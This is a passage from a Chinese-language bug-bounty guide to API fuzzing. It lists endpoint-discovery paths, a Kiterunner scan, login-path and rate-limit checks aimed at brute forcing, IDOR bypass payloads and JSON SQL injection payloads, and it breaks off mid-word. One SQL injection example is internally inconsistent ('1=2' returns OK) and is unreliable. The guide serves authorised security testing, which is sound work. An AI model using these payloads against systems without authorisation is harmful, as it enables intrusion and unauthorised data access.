# 用于漏洞赏金的 API 模糊测试
## 目的
提供在漏洞赏金和渗透测试过程中测试 REST、SOAP 和 GraphQL API 的综合技术。涵盖漏洞发现、身份验证绕过、IDOR 利用和 API 特定的攻击向量。
## 输入/先决条件
- Burp Suite 或类似的代理工具
- API 字典 (SecLists, api_wordlist)
- 对 REST/GraphQL/SOAP 协议的理解
- 用于脚本编写的 Python
- 目标 API 端点和文档(如果可用)
## 输出/交付物
- 已识别的 API 漏洞
- IDOR 利用证明
- 身份验证绕过技术
- SQL 注入点
- 未经授权的数据访问文档
---
## API 类型概述
| 类型 | 协议 | 数据格式 | 结构 |
|------|----------|-------------|-----------|
| SOAP | HTTP | XML | Header + Body |
| REST | HTTP | JSON/XML/URL | 定义的端点 |
| GraphQL | HTTP | 自定义查询 | 单一端点 |
---
## 核心工作流
### 第 1 步:API 侦察
识别 API 类型并枚举端点:
bash
# 检查 Swagger/OpenAPI 文档
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# 使用 Kiterunner 进行 API 发现
kr scan https://target.com -w routes-large.kite
# 从 Swagger 提取路径
python3 json2paths.py swagger.json
### 第 2 步:身份验证测试
bash
# 测试不同的登录路径
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# 检查身份验证端点的速率限制
# 如果没有速率限制 → 可能进行暴力破解
# 分别测试移动端与 Web API
# 不要假设它们具有相同的安全控制
### 第 3 步:IDOR 测试
不安全的对象直接引用 (IDOR) 是最常见的 API 漏洞:
bash
# 基本 IDOR
GET /api/users/1234 → GET /api/users/1235
# 即使 ID 是基于电子邮件的,也要尝试数字 ID
/?user_id=111 代替 /
[email protected]
# 测试 /me/orders 与 /user/654321/orders
**IDOR 绕过技术:**
bash
# 将 ID 包装在数组中
{"id":111} → {"id":[111]}
# JSON 包装
{"id":111} → {"id":{"id":111}}
# 发送两次 ID
URL?id=&id=
# 通配符注入
{"user_id":"*"}
# 参数污染
/api/get_profile?user_id=&user_id=
{"user_id":,"user_id":}
### 第 4 步:注入测试
**JSON 中的 SQL 注入:**
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnera